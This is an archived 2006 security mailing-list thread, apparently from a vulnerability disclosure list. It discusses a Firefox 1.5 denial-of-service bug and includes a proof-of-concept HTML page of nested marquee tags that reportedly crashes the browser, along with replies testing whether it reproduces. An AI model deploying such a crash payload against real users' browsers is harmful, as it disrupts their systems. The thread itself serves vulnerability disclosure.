|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
Re: Fire fox dos exploit
From: Yannick von Arx (yannick.vonarx
yanux.ch)
Date: Wed May 31 2006 - 12:28:24 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Under Apple Mac OS X 10.4.6 (PPC) with Firefox 1.5.0.3 it's
reproducible!
Cheers, Yannick von Arx
Am 31.05.2006 um 16:50 schrieb Josh Zlatin-Amishav:
> On Tue, 30 May 2006, co296aol.com wrote:
>
>> I have found a problem which causes denial of service on fire fox
>> browser
>
> Can you give us some more details, like versions and platforms
> affected? I was unable to recreate this flaw using firefox 1.5.dfsg
> +1.5.0 on Debian unstable.
>
> --
> - Josh
>
>>
>> Creadit:to n00b for finding this bug..
>>
>> the problem lie's in the
>>
>> <marquee> html tag uses 100% cpu and crash's the browser..
>>
>> Following proof of concept available
>>
>> <html>
>> <head>
>> <title>Credit to n00b..</title>
>> <meta http-equiv="Content-Type" content="text/html;
>> charset=iso-8859-1">
>> </head>
>>
>> <body>
>> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu
>> ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma
>> rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
>> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu
>> ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma
>> rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
>> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu
>> ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma
>> rquee><marquee><marquee><marquee><marquee><marquee><marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marq
> ue
>> e></marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee>
>> </body>
>> </html>
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]